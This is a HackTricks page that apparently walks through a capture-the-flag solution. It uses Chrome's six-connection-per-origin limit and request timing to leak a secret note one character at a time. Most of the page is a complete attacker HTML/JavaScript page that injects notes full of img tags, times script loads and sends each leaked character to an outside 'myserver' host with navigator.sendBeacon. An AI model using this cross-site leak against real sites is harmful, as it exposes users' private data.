Connection Pool by Destination Example - HackTricks

# Connection Pool by Destination Example

> [!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
> Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

> Support HackTricks
> - Check the subscription plans!
> - Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
> - Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

In this exploit, @terjanq proposes yet another solution for the challenged mentioned in the following page:

Connection Pool by Destination Example

Let's see how this exploit work:

- The attacker will inject a note with as many `<img` tags loading `/js/purify.js` as possible (more than 6 to block the origin).
- Then, the attacker will remove the note with index 1.
- Then, the attacker will [make the bot access the page with the reminding note] and will send a request to `victim.com/js/purify.js` that he will time.
  - If the time is bigger, the injection was in the note left, if the time is lower, the flag was in there.

> [!NOTE] Tbh, reading the script I missed some part where the attacker makes the bot load the page to trigger the img tags, I don't see anything like that in the code

    <html>
      <head>
        <script>
          const SITE_URL = "https://safelist.ctf.sekai.team/"
          const PING_URL = "https://myserver"
          function timeScript() {
            return new Promise((resolve) => {
              var x = document.createElement("script")
              x.src =
                "https://safelist.ctf.sekai.team/js/purify.js?" + Math.random()
              var start = Date.now()
              x.onerror = () => {
                console.log(`Time: ${Date.now() - start}`) //Time request
                resolve(Date.now() - start)
                x.remove()
              }
              document.body.appendChild(x)
            })
          }

          add_note = async (note) => {
            let x = document.createElement("form")
            x.action = SITE_URL + "create"
            x.method = "POST"
            x.target = "xxx"

            let i = document.createElement("input")
            i.type = "text"
            i.name = "text"
            i.value = note
            x.appendChild(i)
            document.body.appendChild(x)
            x.submit()
          }

          remove_note = async (note_id) => {
            let x = document.createElement("form")
            x.action = SITE_URL + "remove"
            x.method = "POST"
            x.target = "_blank"

            let i = document.createElement("input")
            i.type = "text"
            i.name = "index"
            i.value = note_id
            x.appendChild(i)
            document.body.appendChild(x)
            x.submit()
          }

          const sleep = (ms) => new Promise((resolve) => setTimeout(resolve, ms))
          // }zyxwvutsrqponmlkjihgfedcba_
          const alphabet = "zyxwvutsrqponmlkjihgfedcba_"
          var prefix = "SEKAI{xsleakyay"
          const TIMEOUT = 500
          async function checkLetter(letter) {
            // Chrome puts a limit of 6 concurrent request to the same origin. We are creating a lot of images pointing to purify.js
            // Depending whether we found flag's letter it will either load the images or not.
            // With timing, we can detect whether Chrome is processing purify.js or not from our site and hence leak the flag char by char.
            const payload =
              `${prefix}${letter}` +
              Array.from(Array(78))
                .map((e, i) => `<img/src=/js/purify.js?${i}>`)
                .join("")
            await add_note(payload)
            await sleep(TIMEOUT)
            await timeScript()
            await remove_note(1) //Now, only the note with the flag or with the injection existsh
            await sleep(TIMEOUT)
            const time = await timeScript() //Find out how much a request to the same origin takes
            navigator.sendBeacon(PING_URL, [letter, time])
            if (time > 100) {
              return 1
            }
            return 0
          }
          window.onload = async () => {
            navigator.sendBeacon(PING_URL, "start")
            // doesnt work because we are removing flag after success.
            // while(1){
            for (const letter of alphabet) {
              if (await checkLetter(letter)) {
                prefix += letter
                navigator.sendBeacon(PING_URL, prefix)
                break
              }
            }
            // }
          }
        </script>
      </head>
      <body></body>
    </html>

> [!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
> Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

> Support HackTricks
> - Check the subscription plans!
> - Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
> - Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.